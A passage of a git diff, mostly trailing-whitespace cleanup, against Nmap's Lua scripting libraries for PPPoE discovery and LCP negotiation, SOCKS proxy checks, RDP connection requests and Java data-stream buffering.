base64.dec(string.sub(line, 3)) local digest = stdnse.tohex(openssl.hmac('md5', pw, challenge)) local authStr = base64.enc(user .. " " .. digest) socket:send(authStr .. "\r\n") - + local status, line = socket:receive_lines(1) - - if stat(line) then + + if stat(line) then return true, err.none - else + else return false, err.pwError end end diff --git a/nselib/pppoe.lua b/nselib/pppoe.lua index 24f0d8b8f..de38ed864 100644 --- a/nselib/pppoe.lua +++ b/nselib/pppoe.lua @@ -1,7 +1,7 @@ --- A minimalistic PPPoE (Point-to-point protocol over Ethernet) -- library, implementing basic support for PPPoE -- Discovery and Configuration requests. The PPPoE protocol is ethernet based --- and hence does not use any IPs or port numbers. +-- and hence does not use any IPs or port numbers. -- -- The library contains a number of classes to support packet creation, -- parsing and sending/receiving responses. The classes are: @@ -33,14 +33,14 @@ _ENV = stdnse.module("pppoe", stdnse.seeall) EtherType = { PPPOE_DISCOVERY = 0x8863, - PPPOE_SESSION = 0x8864, + PPPOE_SESSION = 0x8864, } -- A Class to handle the Link Control Protocol LCP LCP = { - + ConfigOption = { - + RESERVED = 0, MRU = 1, AUTH_PROTO = 3, @@ -51,7 +51,7 @@ LCP = { -- Value has already been encoded, treat it as a byte stream RAW = -1, - + -- Creates a new config option -- @param option number containing the configuration option -- @param value containing the configuration option value @@ -67,7 +67,7 @@ LCP = { self.__index = self return o end, - + -- Parses a byte stream and builds a new instance of the ConfigOption -- class -- @param data string containing raw bytes to parse @@ -76,14 +76,14 @@ LCP = { local opt, pos, len = {}, 1, 0 pos, opt.option, len = bin.unpack("CC", data, pos) pos, opt.raw = bin.unpack("A" .. ( len - 2 ), data, pos) - + -- MRU if ( 1 == opt.option ) then opt.value = select(2, bin.unpack(">S", opt.raw)) end return LCP.ConfigOption:new(opt.option, opt.value, opt.raw) end, - + -- Converts the class instance to string -- @return string containing the raw config option __tostring = function(self) @@ -97,10 +97,10 @@ LCP = { end end, }, - + -- A class to hold multiple ordered config options ConfigOptions = { - + new = function(self, options) local o = { options = options or {}, @@ -109,13 +109,13 @@ LCP = { self.__index = self return o end, - + -- Adds a new config option to the table -- @param option instance of ConfigOption add = function(self, option) table.insert(self.options, option) end, - + -- Gets a config option by ID -- @param opt number containing the configuration option to retrieve -- @return v instance of ConfigOption @@ -126,7 +126,7 @@ LCP = { end end end, - + -- Returns all config options in an ordered table -- @return tab table containing all configuration options getTable = function(self) @@ -136,8 +136,8 @@ LCP = { end return tab end, - - + + -- Parses a byte stream and builds a new instance of the ConfigOptions -- class -- @param data string containing raw bytes to parse @@ -148,13 +148,13 @@ LCP = { repeat pos, opt, len = bin.unpack(">CC", data, pos) - if ( 0 == opt ) then break end + if ( 0 == opt ) then break end pos, opt_val = bin.unpack("A"..len, data, (pos - 2)) options:add(LCP.ConfigOption.parse(opt_val)) until( pos == #data ) return options end, - + -- Converts the class instance to string -- @return string containing the raw config option __tostring = function(self) @@ -164,9 +164,9 @@ LCP = { end return str end, - + }, - + ConfigOptionName = { [0] = "Reserved", [1] = "Maximum receive unit", @@ -176,7 +176,7 @@ LCP = { [7] = "Protocol field compression", [8] = "Address and control field compression", }, - + Code = { CONFIG_REQUEST = 1, CONFIG_ACK = 2, @@ -184,10 +184,10 @@ LCP = { TERMINATE_REQUEST = 5, TERMINATE_ACK = 6, }, - + -- The LCP Header Header = { - + -- Creates a new instance of the LCP header -- @param code number containing the LCP code of the request -- @param identifier number containing the LCP identifier @@ -218,11 +218,11 @@ LCP = { __tostring = function(self) return bin.pack(">CCS", self.code, self.identifier, self.length) end, - + }, - + ConfigRequest = { - + -- Creates a new instance of the ConfigRequest class -- @param identifier number containing the LCP identifier -- @param options table of LCP.ConfigOption options @@ -236,7 +236,7 @@ LCP = { self.__index = self return o end, - + -- Parses a byte stream and builds a new instance of the ConfigRequest -- class -- @param data string containing raw bytes to parse @@ -247,7 +247,7 @@ LCP = { req.options = LCP.ConfigOptions.parse(data:sub(#tostring(req.header) + 1)) return req end, - + -- Converts the class instance to string -- @return string containing the raw config option __tostring = function(self) @@ -255,9 +255,9 @@ LCP = { return tostring(self.header) .. tostring(self.options) end, }, - + ConfigNak = { - + -- Creates a new instance of the ConfigNak class -- @param identifier number containing the LCP identifier -- @param options table of LCP.ConfigOption options @@ -271,7 +271,7 @@ LCP = { self.__index = self return o end, - + -- Converts the class instance to string -- @return string containing the raw config option __tostring = function(self) @@ -279,9 +279,9 @@ LCP = { return tostring(self.header) .. tostring(self.options) end, }, - + ConfigAck = { - + -- Creates a new instance of the ConfigAck class -- @param identifier number containing the LCP identifier -- @param options table of LCP.ConfigOption options @@ -295,7 +295,7 @@ LCP = { self.__index = self return o end, - + -- Parses a byte stream and builds a new instance of the ConfigAck class -- @param data string containing raw bytes to parse -- @return o instance of ConfigRequest @@ -305,21 +305,21 @@ LCP = { ack.options = LCP.ConfigOptions.parse(data:sub(#tostring(ack.header) + 1)) return ack end, - + -- Converts the class instance to string -- @return string containing the raw config option __tostring = function(self) self.header.length = 4 + #tostring(self.options) return tostring(self.header) .. tostring(self.options) end, - + }, - + TerminateRequest = { -- Creates a new instance of the TerminateRequest class -- @param identifier number containing the LCP identifier - -- @return o instance of ConfigNak + -- @return o instance of ConfigNak new = function(self, identifier, data) local o = { header = LCP.Header:new(LCP.Code.TERMINATE_REQUEST, identifier), @@ -329,7 +329,7 @@ LCP = { self.__index = self return o end, - + -- Converts the class instance to string -- @return string containing the raw config option __tostring = function(self) @@ -337,22 +337,22 @@ LCP = { return tostring(self.header) .. self.data end, } - + } -- The PPPoE class PPPoE = { - + -- Supported PPPoE codes (requests/responses) Code = { SESSION_DATA = 0x00, PADO = 0x07, PADI = 0x09, PADR = 0x19, - PADS = 0x65, - PADT = 0xa7, + PADS = 0x65, + PADT = 0xa7, }, - + -- Support PPPoE Tag types TagType = { SERVICE_NAME = 0x0101, @@ -360,7 +360,7 @@ PPPoE = { HOST_UNIQUE = 0x0103, AC_COOKIE = 0x0104, }, - + -- Table used to convert table IDs to Names TagName = { [0x0101] = "Service-Name", @@ -368,14 +368,14 @@ PPPoE = { [0x0103] = "Host-Uniq", [0x0104] = "AC-Cookie", }, - - + + Header = { - + -- Creates a new instance of the PPPoE header class -- @param code number containing the PPPoE code -- @param session number containing the PPPoE session - -- @return o instance of Header + -- @return o instance of Header new = function(self, code, session) local o = { version = 1, @@ -388,7 +388,7 @@ PPPoE = { self.__index = self return o end, - + -- Parses a byte stream and builds a new instance of the class -- @param data string containing raw bytes to parse -- @return o instance of Header @@ -397,56 +397,56 @@ PPPoE = { local header = PPPoE.Header:new() pos, vertyp, header.code, header.session, header.length = bin.unpack(">CCSS", data) header.version = bit.rshift(vertyp,4) - header.type = bit.band(vertyp, 0x0F) + header.type = bit.band(vertyp, 0x0F) return header end, - + -- Converts the instance to string -- @return string containing the raw config option __tostring = function(self) local vertype = bit.lshift(self.version, 4) + self.type return bin.pack(">CCSS", vertype, self.code, self.session, self.length) end, - - + + }, - + -- The TAG NVP Class - Tag = { - + Tag = { + -- Creates a new instance of the Tag class -- @param tag number containing the tag type -- @param value string/number containing the tag value - -- @return o instance of Tag + -- @return o instance of Tag new = function(self, tag, value) local o = { tag = tag, value = value or "" } setmetatable(o, self) self.__index = self return o end, - + -- Converts the instance to string -- @return string containing the raw config option __tostring = function(self) return bin.pack(">SSA", self.tag, #self.value, self.value) end, }, - + PADI = { - + -- Creates a new instance of the PADI class -- @param tags table of PPPoE.Tag instances -- @param value string/number containing the tag value - -- @return o instance of ConfigNak + -- @return o instance of ConfigNak new = function(self, tags) local c = "" for i=1, 4 do c = c .. math.random(255) end - + local o = { header = PPPoE.Header:new(PPPoE.Code.PADI), - tags = tags or { + tags = tags or { PPPoE.Tag:new(PPPoE.TagType.SERVICE_NAME), PPPoE.Tag:new(PPPoE.TagType.HOST_UNIQUE, bin.pack("A", c)) } @@ -455,7 +455,7 @@ PPPoE = { self.__index = self return o end, - + -- Converts the instance to string -- @return string containing the raw config option __tostring = function(self) @@ -466,20 +466,20 @@ PPPoE = { self.header.length = #tags return tostring(self.header) .. tags end, - + }, - + PADO = { - + -- Creates a new instance of the PADO class - -- @return o instance of PADO + -- @return o instance of PADO new = function(self) local o = { tags = {} } setmetatable(o, self) self.__index = self return o end, - + -- Parses a byte stream and builds a new instance of the class -- @param data string containing raw bytes to parse -- @return o instance of PADO @@ -488,7 +488,7 @@ PPPoE = { pado.header = PPPoE.Header.parse(data) local pos = #tostring(pado.header) + 1 pado.data = data:sub(pos) - + repeat local tag, len, decoded, raw pos, tag, len = bin.unpack(">SS", data, pos) @@ -503,18 +503,18 @@ PPPoE = { t.decoded = decoded table.insert(pado.tags, t) until( pos >= #data ) - + return pado end, }, - + PADR = { - + -- Creates a new instance of the PADR class -- @param tags table of PPPoE.Tag instances - -- @return o instance of PADR + -- @return o instance of PADR new = function(self, tags) - local o = { + local o = { tags = tags or {}, header = PPPoE.Header:new(PPPoE.Code.PADR) } @@ -522,7 +522,7 @@ PPPoE = { self.__index = self return o end, - + -- Converts the instance to string -- @return string containing the raw config option __tostring = function(self) @@ -533,20 +533,20 @@ PPPoE = { self.header.length = #tags return tostring(self.header) .. tags end, - + }, - + PADS = { - + -- Creates a new instance of the PADS class - -- @return o instance of PADS + -- @return o instance of PADS new = function(self) local o = { tags = {} } setmetatable(o, self) self.__index = self return o end, - + -- Parses a byte stream and builds a new instance of the class -- @param data string containing raw bytes to parse -- @return o instance of PADS @@ -559,12 +559,12 @@ PPPoE = { end, }, - + PADT = { - + -- Creates a new instance of the PADT class -- @param session number containing the PPPoE session - -- @return o instance of PADT + -- @return o instance of PADT new = function(self, session) local o = { header = PPPoE.Header:new(PPPoE.Code.PADT) } setmetatable(o, self) @@ -572,7 +572,7 @@ PPPoE = { self.__index = self return o end, - + -- Parses a byte stream and builds a new instance of the class -- @param data string containing raw bytes to parse -- @return o instance of PADI @@ -581,22 +581,22 @@ PPPoE = { padt.header = PPPoE.Header.parse(data) return padt end, - + -- Converts the instance to string -- @return string containing the raw config option __tostring = function(self) return tostring(self.header) end, }, - + SessionData = { - + -- Creates a new instance of the SessionData class -- @param session number containing the PPPoE session -- @param data string containing the LCP data to send - -- @return o instance of ConfigNak + -- @return o instance of ConfigNak new = function(self, session, data) - local o = { + local o = { data = data or "", header = PPPoE.Header:new(PPPoE.Code.SESSION_DATA) } @@ -605,7 +605,7 @@ PPPoE = { self.__index = self return o end, - + -- Parses a byte stream and builds a new instance of the class -- @param data string containing raw bytes to parse -- @return o instance of SessionData @@ -616,7 +616,7 @@ PPPoE = { sess.data = data:sub(pos) return sess end, - + -- Converts the instance to string -- @return string containing the raw config option __tostring = function(self) @@ -624,24 +624,24 @@ PPPoE = { self.header.length = 2 + 4 + #self.data return tostring(self.header) .. bin.pack(">S", 0xC021) .. self.data end, - + } - - + + } -- A bunch of tag decoders PPPoE.TagDecoder = {} PPPoE.TagDecoder.decodeHex = function(data, pos, len) return pos + len, stdnse.tohex(data:sub(pos, pos+len)) end PPPoE.TagDecoder.decodeStr = function(data, pos, len) return pos + len, data:sub(pos, pos + len - 1) end -PPPoE.TagDecoder[PPPoE.TagType.SERVICE_NAME]= PPPoE.TagDecoder.decodeStr +PPPoE.TagDecoder[PPPoE.TagType.SERVICE_NAME]= PPPoE.TagDecoder.decodeStr PPPoE.TagDecoder[PPPoE.TagType.AC_NAME] = PPPoE.TagDecoder.decodeStr PPPoE.TagDecoder[PPPoE.TagType.AC_COOKIE] = PPPoE.TagDecoder.decodeHex PPPoE.TagDecoder[PPPoE.TagType.HOST_UNIQUE] = PPPoE.TagDecoder.decodeHex -- The Comm class responsible for communication with the PPPoE server Comm = { - + -- Creates a new instance of the Comm class -- @param iface string containing the interface name -- @param src_mac string containing the source MAC address @@ -657,24 +657,24 @@ Comm = { self.__index = self return o end, - + -- Sets up the pcap receiving socket -- @return status true on success connect = function(self) self.socket = nmap.new_socket() self.socket:set_timeout(10000) - + -- there's probably a more elegant way of doing this local mac = {} for i=1, #self.src_mac do table.insert(mac, select(2,bin.unpack("H", self.src_mac, i))) end mac = stdnse.strjoin(":", mac) - - -- let's set a filter on PPPoE we can then check what packet is ours, + + -- let's set a filter on PPPoE we can then check what packet is ours, -- based on the HOST_UNIQUE tag, if we need to - self.socket:pcap_open(self.iface, 1500, false, "ether[0x0c:2] == 0x8863 or ether[0x0c:2] == 0x8864 and ether dst " .. mac) + self.socket:pcap_open(self.iface, 1500, false, "ether[0x0c:2] == 0x8863 or ether[0x0c:2] == 0x8864 and ether dst " .. mac) return true end, - + -- Sends a packet -- @param data class containing the request to send -- @return status true on success, false on failure @@ -682,12 +682,12 @@ Comm = { local eth_type = ( data.header.code == PPPoE.Code.SESSION_DATA ) and 0x8864 or 0x8863 local ether = bin.pack(">AAS", self.dst_mac, self.src_mac, eth_type) local p = packet.Frame:new(ether .. tostring(data)) - + local sock = nmap.new_dnet() if ( not(sock) ) then return false, "Failed to create raw socket" end - + local status = sock:ethernet_open(self.iface) -- we don't actually need to do this as the script simply crashes -- if we don't have the right permissions at this point @@ -700,9 +700,9 @@ Comm = { return false, "Failed to send data" end sock:ethernet_close() - return true + return true end, - + -- Receive a response from the server -- @return status true on success, false on failure -- @return response class containing the response or @@ -714,10 +714,10 @@ Comm = { if ( not(status) ) then return false end - + local header = PPPoE.Header.parse(l3) local p = packet.Frame:new(l2..l3) - + -- there's probably a more elegant way of doing this if ( EtherType.PPPOE_DISCOVERY == p.ether_type ) then if ( header.code == PPPoE.Code.PADO ) then @@ -736,19 +736,19 @@ Comm = { end return false, ("Received unsupported response, can't decode code (%d)"):format(header.code) end, - + -- Does an "exchange", ie, sends a request and waits for a response -- @param data class containing the request to send -- @return status true on success, false on failure -- @return response class containing the response or -- err string on error - exch = function(self, data) + exch = function(self, data) local status, err = self:send(data) if ( not(status) ) then return false, err end local retries, resp = 3, nil - + repeat status, resp = self:recv() if ( data.header and 0 == data.header.session ) then @@ -758,15 +758,15 @@ Comm = { end retries = retries - 1 until(retries == 0) - + return false, "Failed to retrieve proper PPPoE response" end, - + } -- The Helper class is the main script interface Helper = { - + -- Creates a new instance of Helper -- @param iface string containing the name of the interface to use -- @return o new instance on success, nil on failure @@ -779,11 +779,11 @@ Helper = { } setmetatable(o, self) self.__index = self - + if ( not(nmap.is_privileged()) ) then return nil, "The PPPoE library requires Nmap to be run in privileged mode" end - + -- get src_mac local info = nmap.get_interface_info(iface) if ( not(info) or not(info.mac) ) then @@ -792,14 +792,14 @@ Helper = { o.comm = Comm:new(iface, info.mac) return o end, - + -- Sets up the pcap socket for listening and does some other preparations -- @return status true on success, false on failure connect = function(self) return self.comm:connect() end, - - + + -- Performs a PPPoE discovery initiation by sending a PADI request to the -- ethernet broadcast address -- @return status true on success, false on failure @@ -813,12 +813,12 @@ Helper = { end -- wait for a pado local pado, retries = nil, 3 - + repeat status, pado = self.comm:recv() if ( not(status) ) then return status, pado - end + end retries = retries - 1 until( pado.tags or retries == 0 ) if ( not(pado.tags) ) then @@ -831,7 +831,7 @@ Helper = { pado_host_unique = tag.raw end end - + -- store the tags for later use self.tags = pado.tags self.comm.dst_mac = pado.mac_srv @@ -846,13 +846,13 @@ Helper = { return true, pado end, - + -- Performs a Discovery Request by sending PADR to the PPPoE ethernet -- address -- @return status true on success, false on failure -- @return pads instance of PADS on success discoverRequest = function(self) - + -- remove the AC-Name tag if there is one local function getTag(tag) for _, t in ipairs(self.tags) do @@ -861,20 +861,20 @@ Helper = { end end end - - local taglist = { + + local taglist = { PPPoE.TagType.SERVICE_NAME, PPPoE.TagType.HOST_UNIQUE, PPPoE.TagType.AC_COOKIE } - + local tags = {} for _, t in ipairs(taglist) do if ( getTag(t) ) then table.insert(tags, getTag(t)) end end - + local padr = PPPoE.PADR:new(tags) local status, pads = self.comm:exch(padr) @@ -910,7 +910,7 @@ Helper = { end end end - + AuthMethod.byValue = function(value) for _, m in ipairs(AuthMethod.methods) do if ( m.value == value ) then @@ -918,49 +918,49 @@ Helper = { end end end - + local auth_data = ( AuthMethod.byName(method) and AuthMethod.byName(method).value ) if ( not(auth_data) ) then return false, ("Unsupported authentication mode (%s)"):format(method) end - + self.identifier = self.identifier + 1 - + -- First do a Configuration Request local options = { LCP.ConfigOption:new(LCP.ConfigOption.MRU, 1492) } local lcp_req = LCP.ConfigRequest:new(self.identifier, options) local sess_req = PPPoE.SessionData:new(self.session, tostring(lcp_req)) local status, resp = self.comm:exch(sess_req) - + if ( not(status) or PPPoE.Code.SESSION_DATA ~= resp.header.code ) then return false, "Unexpected packet type was received" end - + -- Make sure we got a Configuration Request in return - local lcp_header = LCP.Header.parse(resp.data) + local lcp_header = LCP.Header.parse(resp.data) if ( LCP.Code.CONFIG_REQUEST ~= lcp_header.code ) then return false, ("Unexpected packet type was received (%d)"):format(lcp_header.code) end - + local config_req = LCP.ConfigRequest.parse(resp.data) if ( not(config_req.options) ) then return false, "Failed to retrieve any options from response" end - + local auth_proposed = config_req.options:getById(LCP.ConfigOption.AUTH_PROTO) - + if ( auth_proposed.raw ~= auth_data ) then local options = { LCP.ConfigOption:new(LCP.ConfigOption.AUTH_PROTO, nil, bin.pack("A", auth_data)) } local lcp_req = LCP.ConfigNak:new(self.identifier, options) local sess_req = PPPoE.SessionData:new(self.session, tostring(lcp_req)) local status, resp = self.comm:exch(sess_req) - + if ( not(status) or PPPoE.Code.SESSION_DATA ~= resp.header.code ) then return false, "Unexpected packet type was received" end - + -- Make sure we got a Configuration Request in return - local lcp_header = LCP.Header.parse(resp.data) + local lcp_header = LCP.Header.parse(resp.data) if ( LCP.Code.CONFIG_REQUEST ~= lcp_header.code ) then return false, ("Unexpected packet type was received (%d)"):format(lcp_header.code) end @@ -972,26 +972,26 @@ Helper = { -- The ACK is essential the Config Request, only with a different code -- Do a dirty attempt to just replace the code and send the request back as an ack self.identifier = self.identifier + 1 - + local lcp_req = LCP.ConfigAck:new(config_req.header.identifier, config_req.options:getTable()) local sess_req = PPPoE.SessionData:new(self.session, tostring(lcp_req)) local status, resp = self.comm:send(sess_req) - + return true end - + return false, "Authentication method was not accepted" end return false, "Failed to negotiate authentication mechanism" end, - + -- Sends a LCP Terminate Request and waits for an ACK -- Attempts to do so 10 times before aborting -- @return status true on success false on failure close = function(self) - local tries = 10 + local tries = 10 repeat if ( 0 == self.session ) then break @@ -1001,20 +1001,20 @@ Helper = { local status, resp = self.comm:exch(sess_req) if ( status and resp.header and resp.header.code ) then if ( PPPoE.Code.SESSION_DATA == resp.header.code ) then - local lcp_header = LCP.Header.parse(resp.data) + local lcp_header = LCP.Header.parse(resp.data) if ( LCP.Code.TERMINATE_ACK == lcp_header.code ) then break end end end tries = tries - 1 - until( tries == 0 ) - + until( tries == 0 ) + self.comm:exch(PPPoE.PADT:new(self.session)) - + return true end, - + } return _ENV; diff --git a/nselib/proxy.lua b/nselib/proxy.lua index b63d62673..c937a822f 100644 --- a/nselib/proxy.lua +++ b/nselib/proxy.lua @@ -59,7 +59,7 @@ local function check(result, pattern) return s_code, s_pattern end ---- Performs a request to the web server and calls check to check if +--- Performs a request to the web server and calls check to check if -- the response is a valid result -- --@param socket The socket to send the request through @@ -151,7 +151,7 @@ end function return_args() local url = false local pattern = false - if nmap.registry.args['proxy.url'] + if nmap.registry.args['proxy.url'] then url = nmap.registry.args['proxy.url'] elseif nmap.registry.args.proxy and nmap.registry.args.proxy.url then url = nmap.registry.args.proxy.url @@ -197,7 +197,7 @@ function socksHandshake(socket, version, hostname) end if version == 4 then paystring = '04 01 00 50 ' .. sip .. ' 6e 6d 61 70 00' - payload = bin.pack("H",paystring) + payload = bin.pack("H",paystring) try(socket:send(payload)) local response = try(socket:receive()) local request_status = string.byte(response, 2) @@ -205,11 +205,11 @@ function socksHandshake(socket, version, hostname) stdnse.print_debug("Socks4: Received \"Request Granted\" from proxy server\n") return socket end - if(request_status == 0x5b) then + if(request_status == 0x5b) then stdnse.print_debug("Socks4: Received \"Request rejected or failed\" from proxy server") - elseif (request_status == 0x5c) then + elseif (request_status == 0x5c) then stdnse.print_debug("Socks4: Received \"request failed because client is not running identd\" from proxy server") - elseif (request_status == 0x5d) then + elseif (request_status == 0x5d) then stdnse.print_debug("Socks4: Received \"request failed because client's identd could not confirm" .. "\nthe user ID string in the request from proxy server") end @@ -220,33 +220,33 @@ function socksHandshake(socket, version, hostname) try(socket:send(payload)) local auth = try(socket:receive()) local r2 = string.byte(auth,2) - + -- If Auth is required, proxy is closed, skip next test - if(r2 ~= 0x00) then + if(r2 ~= 0x00) then stdnse.print_debug("Socks5: Authentication required") else -- If no Auth is required, try to estabilish connection stdnse.print_debug("Socks5: No authentication required") - -- Socks5 second payload: Version, Command, Null, Address type, Ip-Address, Port number + -- Socks5 second payload: Version, Command, Null, Address type, Ip-Address, Port number paystring = '05 01 00 01 ' .. sip .. '00 50' - payload = bin.pack("H",paystring) + payload = bin.pack("H",paystring) try(socket:send(payload)) - local z = try(socket:receive()) + local z = try(socket:receive()) local request_status = string.byte(z, 2) if (request_status == 0x00) then stdnse.print_debug("Socks5: Received \"Request Granted\" from proxy server\n") return socket - elseif(request_status == 0x01) then + elseif(request_status == 0x01) then stdnse.print_debug("Socks5: Received \"General failure\" from proxy server") - elseif (request_status == 0x02) then + elseif (request_status == 0x02) then stdnse.print_debug("Socks5: Received \"Connection not allowed by ruleset\" from proxy server") - elseif (request_status == 0x03) then + elseif (request_status == 0x03) then stdnse.print_debug("Socks5: Received \"Network unreachable\" from proxy server") - elseif (request_status == 0x04) then + elseif (request_status == 0x04) then stdnse.print_debug("Socks5: Received \"Host unreachable\" from proxy server") - elseif (request_status == 0x05) then + elseif (request_status == 0x05) then stdnse.print_debug("Socks5: Received \"Connection refused by destination host\" from proxy server") - elseif (request_status == 0x06) then + elseif (request_status == 0x06) then stdnse.print_debug("Socks5: Received \"TTL Expired\" from proxy server") elseif (request_status == 0x07) then stdnse.print_debug("Socks5: Received \"command not supported / protocol error\" from proxy server") @@ -255,7 +255,7 @@ function socksHandshake(socket, version, hostname) end end return false - end + end stdnse.print_debug("Unrecognized proxy type"); return false end diff --git a/nselib/rdp.lua b/nselib/rdp.lua index 66c55c3bd..2b093a607 100644 --- a/nselib/rdp.lua +++ b/nselib/rdp.lua @@ -1,7 +1,7 @@ --- -- A minimal RDP (Remote Desktop Protocol) library. Currently has functionality to determine encryption -- and cipher support. --- +-- -- -- @author "Patrik Karlsson " -- @copyright Same as Nmap--See http://nmap.org/book/man-legal.html @@ -13,7 +13,7 @@ local stdnse = require("stdnse") _ENV = stdnse.module("rdp", stdnse.seeall) Packet = { - + TPKT = { new = function(self, data) @@ -31,7 +31,7 @@ Packet = { self.data ) end, - + parse = function(data) local tpkt = Packet.TPKT:new() local pos @@ -41,66 +41,66 @@ Packet = { return tpkt end }, - + ITUT = { - + new = function(self, code, data) local o = { data = tostring(data), code = code } setmetatable(o, self) self.__index = self return o end, - + parse = function(data) local itut = Packet.ITUT:new() local pos pos, itut.length, itut.code = bin.unpack("CC", data) - + if ( itut.code == 0xF0 ) then pos, itut.eot = bin.unpack("C", data, pos) elseif ( itut.code == 0xD0 ) then pos, itut.dstref, itut.srcref, itut.class = bin.unpack(">SSC", data, pos) end - + pos, itut.data = bin.unpack("A" .. (#data - pos), data, pos) return itut end, - + __tostring = function(self) local len = (self.code ~= 0xF0 and #self.data + 1 or 2) local data = bin.pack("CC", len, self.code or 0 ) - + if ( self.code == 0xF0 ) then data = data .. bin.pack("C", 0x80) -- EOT end - + return data .. self.data end, - + }, - + } Request = { - + ConnectionRequest = { - + new = function(self, proto) local o = { proto = proto } setmetatable(o, self) self.__index = self return o end, - + __tostring = function(self) local cookie = "mstshash=nmap" local itpkt_len = 21 + #cookie local itut_len = 16 + #cookie - + local data = bin.pack(">SSCA", 0x0000, -- dst reference 0x0000, -- src reference @@ -116,18 +116,18 @@ Request = { return tostring(Packet.TPKT:new(Packet.ITUT:new(0xE0, data))) end }, - + MCSConnectInitial = { - + new = function(self, cipher) local o = { cipher = cipher } setmetatable(o, self) self.__index = self return o end, - + __tostring = function(self) - + local data = bin.pack(" --- Example usage : +-- Example usage : -- if foo ~= "gazonk" then -- return doh("Foo should be gazonk but was %s", foo) -- end @@ -67,12 +67,12 @@ local function doh(str,...) end --- --- BufferedWriter --- This buffering writer provide functionality much like javas BufferedWriter. +-- BufferedWriter +-- This buffering writer provide functionality much like javas BufferedWriter. -- -- BufferedWriter wraps the pack-functionality from bin, and buffers data internally -- until flush is called. When flush is called, it either sends the data to the socket OR --- returns the data, if no socket has been set. +-- returns the data, if no socket has been set. --@usage: -- local bWriter = BufferedWriter:new(socket) -- local breader= BufferedReader:new(socket) @@ -95,7 +95,7 @@ BufferedWriter = { o.socket = socket return o end, - + -- Sends data over the socket -- (Actually, just buffers until flushed) -- @return Status (true or false). @@ -108,22 +108,22 @@ BufferedWriter = { local arg={...} self.writeBuffer = self.writeBuffer .. bin.pack( fmt, table.unpack(arg)) end, - + -- This function flushes the buffer contents, thereby emptying -- the buffer. If a socket has been supplied, that's where it will be sent -- otherwise the buffer contents are returned --@return status --@return content of buffer, in case no socket was used flush = function(self) - + local content = self.writeBuffer self.writeBuffer = '' - + if not self.socket then return true, content end return self.socket:send(content) - end, + end, } --- @@ -133,10 +133,10 @@ BufferedWriter = { -- If not enough data is available, it blocks until data is received, thereby handling the case -- if data is spread over several tcp packets (which is a pitfall for many scripts) -- --- It wraps unpack from bin for the reading. +-- It wraps unpack from bin for the reading. -- OBS! You need to check before invoking skip or unpack that there is enough --- data to read. Since this class does not parse arguments to unpack, it does not --- know how much data to read ahead on those calls. +-- data to read. Since this class does not parse arguments to unpack, it does not +-- know how much data to read ahead on those calls. --@usage: -- local bWriter = BufferedWriter:new(socket) -- local breader= BufferedReader:new(socket) @@ -154,14 +154,14 @@ BufferedReader = { local o = {} setmetatable(o, self) self.__index = self - o.readBuffer = readBuffer -- May be nil + o.readBuffer = readBuffer -- May be nil o.pos = 1 o.socket = socket -- May also be nil return o end, --- -- This method blocks until the specified number of bytes - -- have been read from the socket and are avaiable for + -- have been read from the socket and are avaiable for -- the caller to read, e.g via the unpack function canRead= function(self,count) local status, data @@ -171,7 +171,7 @@ BufferedReader = { if self.socket == nil then return doh("Not enough data in static buffer") end - + status, data = self.socket:receive_bytes( missing ) if ( not(status) ) then return false, data @@ -188,10 +188,10 @@ BufferedReader = { --- --@return Returns the number of bytes already available for reading bufferSize = function(self) - return #self.readBuffer +1 -self.pos + return #self.readBuffer +1 -self.pos end, --- - -- This function works just like bin.unpack (in fact, it is + -- This function works just like bin.unpack (in fact, it is -- merely a wrapper around it. However, it uses the data -- already read into the buffer, and the internal position --@param format - see bin @@ -202,10 +202,10 @@ BufferedReader = { return table.unpack(ret,2) end, --- - -- This function works just like bin.unpack (in fact, it is + -- This function works just like bin.unpack (in fact, it is -- merely a wrapper around it. However, it uses the data - -- already read into the buffer, and the internal position. - -- This method does not update the current position, and the + -- already read into the buffer, and the internal position. + -- This method does not update the current position, and the -- data can be read again --@param format - see bin --@return the unpacked value (NOT the index) @@ -214,7 +214,7 @@ BufferedReader = { return table.unpack(ret,2) end, --- - -- Tries to read a byte, without consuming it. + -- Tries to read a byte, without consuming it. --@return status --@return bytevalue peekByte = function(self) @@ -237,10 +237,10 @@ BufferedReader = { } --- The classes are generated when this file is loaded, by the definitions in the JavaTypes --- table. That table contains mappings between the format used by bin and the types +-- The classes are generated when this file is loaded, by the definitions in the JavaTypes +-- table. That table contains mappings between the format used by bin and the types -- available in java, aswell as the lengths (used for availability-checks) and the name which --- is prefixed by read* or write* when monkey-patching the classes and adding functions. +-- is prefixed by read* or write* when monkey-patching the classes and adding functions. -- For example: {name = 'Int', expr = '>i', len= 4}, will generate the functions -- writeInt(self, value) and readInt() respectively @@ -255,14 +255,14 @@ local JavaTypes = { } --- --- The JavaDOS classes --- The JavaDOS class is an approximation of a java DataOutputStream. It provides convenience functions +-- The JavaDOS classes +-- The JavaDOS class is an approximation of a java DataOutputStream. It provides convenience functions -- for writing java types toan underlying BufferedWriter -- -- When used in conjunction with the BufferedX- classes, they handle the availability- -- checks transparently, i.e the caller does not have to check if enough data is available -- --- @usage: +-- @usage: -- local dos = JavaDOS:new(BufferedWriter:new(socket)) -- local dos = JavaDIS:new(BufferedReader:new(socket)) -- dos:writeUTF("Hello world") @@ -291,7 +291,7 @@ JavaDOS = { end self[functionName] = newFunc end, - + writeUTF = function(self, text) -- TODO: Make utf-8 of it return self:pack('>P', text) @@ -310,13 +310,13 @@ JavaDOS = { --- -- The JavaDIS class --- JavaDIS is close to java DataInputStream. It provides convenience functions +-- JavaDIS is close to java DataInputStream. It provides convenience functions -- for reading java types from an underlying BufferedReader -- -- When used in conjunction with the BufferedX- classes, they handle the availability- -- checks transparently, i.e the caller does not have to check if enough data is available -- --- @usage: +-- @usage: -- local dos = JavaDOS:new(BufferedWriter:new(socket)) -- local dos = JavaDIS:new(BufferedReader:new(socket)) -- dos:writeUTF("Hello world") @@ -334,9 +334,9 @@ JavaDIS = { o.bReader = bReader return o end, - + -- This closure method generates all reader methods (except unstandard ones) on the fly - -- according to the definitions in JavaTypes. + -- according to the definitions in JavaTypes. _generateReaderFunc = function(self, javatype) local functionName = 'read'..javatype.name local newFunc = function(_self) @@ -350,7 +350,7 @@ JavaDIS = { self[functionName] = newFunc end, -- This is a bit special, since we do not know beforehand how many bytes must be read. Therfore - -- this cannot be generated on the fly like the others. + -- this cannot be generated on the fly like the others. readUTF = function(self, text) -- First, we need to read the length, 2 bytes if not self.bReader:canRead(2) then-- Length of the string is two bytes @@ -363,12 +363,12 @@ JavaDIS = { if not self.bReader:canRead(len) then return false, "Not enough data in buffer [1]" end - -- For some reason, the 'P' switch does not work for me. + -- For some reason, 